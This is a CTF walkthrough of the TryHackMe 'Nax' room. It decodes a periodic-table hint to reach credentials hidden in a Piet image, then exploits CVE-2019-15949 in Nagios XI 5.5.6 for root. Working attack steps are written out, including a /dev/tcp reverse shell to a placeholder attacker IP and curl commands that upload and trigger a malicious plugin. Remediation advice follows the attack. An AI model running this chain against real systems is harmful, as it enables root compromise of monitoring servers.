Nax
Decoding a periodic-table riddle to recover credentials, then exploiting CVE-2019-15949 in Nagios XI for a root shell.
TryHackMe: Nax — From a Periodic-Table Riddle to Root on Nagios XI
A walkthrough of the “Nax” room. The landing page hides a string of chemical element symbols; decode them and they spell the path to an esoteric-language program that literally paints the admin password. Those credentials open a Nagios XI 5.5.6 panel whose plugin-upload feature runs as root, and CVE-2019-15949 turns that into a single, reliable jump from an anonymous HTTP request to a root shell.
Flag and credential values are redacted. Nax is an authorized training box on TryHackMe; everything here was performed against a legal practice target.
TL;DR — the whole chain
Homepage element-symbol hint → decode to /PI3T.PNg → run the Piet program with npiet to recover nagiosadmin creds → log into Nagios XI 5.5.6 → upload a malicious monitoring plugin → trigger the System Profile download, which runs the plugin as root (CVE-2019-15949) → root shell.
The target
export IP=<target-ip>
nmap -sC -sV -p- -T4 --min-rate=1000 $IP
22/tcp open ssh OpenSSH
25/tcp open smtp
80/tcp open http
443/tcp open ssl/http Apache 2.4.18 # Nagios XI 5.5.6 (build 1540830265)
The star of the scan is the HTTPS service: a Nagios XI 5.5.6 install on Apache. Nagios XI is a network-monitoring product, and a monitoring server is a juicy target — it usually holds broad network reach and stored check credentials. But the admin panel wants a login we don’t have yet, so we start on the public web root.
Enumeration: the homepage is talking to us
Browsing the site, the interesting detail isn’t a directory or a backup file — it’s a sequence of chemical element symbols planted on the page:
Ag Hg Ta Sb Po Pd Hg Pt Lr
Nine symbols on a hacking box is not decoration; it’s an encoding. The natural move with the periodic table is to map each symbol to its atomic number:
Ag=47 Hg=80 Ta=73 Sb=51 Po=84 Pd=46 Hg=80 Pt=78 Lr=103
Read those numbers as ASCII and they spell a path:
47 80 73 51 84 46 80 78 103 -> / P I 3 T . P N g
So the hint points at /PI3T.PNg. Grab it — no authentication required:
curl -sk https://$IP/PI3T.PNg -o PI3T.png
Recovering the credentials: the password is a painting
PI3T is the giveaway. The file is a PNG, but its EXIF Artist tag reads Piet Mondrian — a nod to Piet, an esoteric programming language whose source code is an image: blocks of color are the instructions. This PNG is a runnable Piet program.
Feed it to a public Piet interpreter (npiet) and it prints the Nagios XI admin credentials:
# convert PNG -> PPM, then run it
pngtopnm PI3T.png > PI3T.ppm
npiet PI3T.ppm
# -> nagiosadmin%<redacted-password>
We now have nagiosadmin and its password. Note what just happened: the server publishes its own admin credential on the unauthenticated web root — the only “gate” is a puzzle, not a real access control.
Foothold: authenticate to Nagios XI
Log in at the Nagios XI panel with the recovered nagiosadmin credentials. Programmatically, that means grabbing a fresh nsp CSRF token from the login page and POSTing it with the username and password:
# fetch login page -> extract nsp token -> POST credentials with cookie jar
# a 302 redirect to /nagiosxi/index.php == authenticated
The version banner already told us this is 5.5.6, which sits squarely in the range affected by CVE-2019-15949 (Nagios XI ≤ 5.6.5). That CVE is our path from admin-in-the-panel to root-on-the-box.
Privilege escalation: CVE-2019-15949, plugin upload runs as root
The bug is a classic dangerous-by-design chain:
- An authenticated admin can upload a monitoring plugin through
admin/monitoringplugins.php. A plugin is just an executable file dropped into the Nagios plugins directory. - When a System Profile is generated (
includes/components/profile/profile.php?cmd=download), the root-ownedgetprofile.shscript runs — and it’s wired into a passwordlesssudoentry, so it executes as root. getprofile.shruns the files in the plugins directory. Our uploaded plugin therefore executes as root.
So we upload a reverse-shell “plugin”, then trigger the profile download to fire it as root.
# 1. Payload plugin — a file whose body is a reverse shell
# content: bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
curl -sk https://$IP/nagiosxi/admin/monitoringplugins.php -b cookie \
-F upload=1 -F nsp=<NSP> -F MAX_FILE_SIZE=20000000 \
-F 'uploadedfile=@check_ping;filename=check_ping;type=text/plain'
# -> "New plugin was installed"
# 2. Start a listener, then trigger execution as root
nc -lvnp 4444
curl -sk 'https://$IP/nagiosxi/includes/components/profile/profile.php?cmd=download' -b cookie
The listener catches a root shell:
connect to [ATTACKER] from (UNKNOWN) [<target-ip>] 35218
root@ubuntu:/usr/local/nagiosxi/html/includes/components/profile# id
uid=0(root) gid=0(root) groups=0(root)
uid=0. From an anonymous HTTP request to root, no user interaction anywhere in the chain. Read the flags (values redacted).
Metasploit ships this as
exploit/linux/http/nagios_xi_plugins_check_plugin_rce, and Jak Gibb’s standalone PoC (Exploit-DB 47299) automates the same steps. Doing it by hand once is worth more than the one-liner — you see exactly which endpoint does the upload and which one detonates it as root.
Severity
Critical — CVSS 3.1 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The whole sequence is remote, unauthenticated, and deterministic. A short script goes from cold to root in seconds, and a compromised Nagios server is a strong pivot into the rest of the monitored network.
Remediation — break the chain at any rung
- Patch Nagios XI to ≥ 5.6.6, which fixes CVE-2019-15949, and remove the passwordless
sudoentry that letsgetprofile.shexecute plugin files as root. Monitoring-plugin upload should never be a root-code-execution path. - Kill the credential leak. Delete
/PI3T.PNgand the homepage element-symbol hint, and rotate thenagiosadminpassword — treat the leaked value as burned. - Constrain plugin upload to trusted operators and validate/sandbox uploaded plugins. Lock down SMTP and any anonymous LDAP bind that isn’t needed.
Takeaways
- Odd data on a page is an encoding, not decoration. Nine element symbols → atomic numbers → ASCII → a file path. When something looks like a puzzle, it is.
- Esolangs hide secrets in plain sight. A “PNG” whose EXIF artist is Piet Mondrian is a Piet program; the password was painted, not written.
- A leaked credential is still a break-in. Publishing admin creds on the web root — even obfuscated — is a full authentication bypass in slow motion.
- Map the version to the CVE.
Nagios XI 5.5.6in the banner is a straight line to CVE-2019-15949 and a root-owned plugin runner.
Cleanup note: the check_ping test plugin left on the box during the exercise should be removed from Manage Plugins afterward.
Thanks for reading. Nax is a great reminder that recon isn’t only ports and directories — sometimes the box is quietly handing you the keys, and the only skill required is noticing.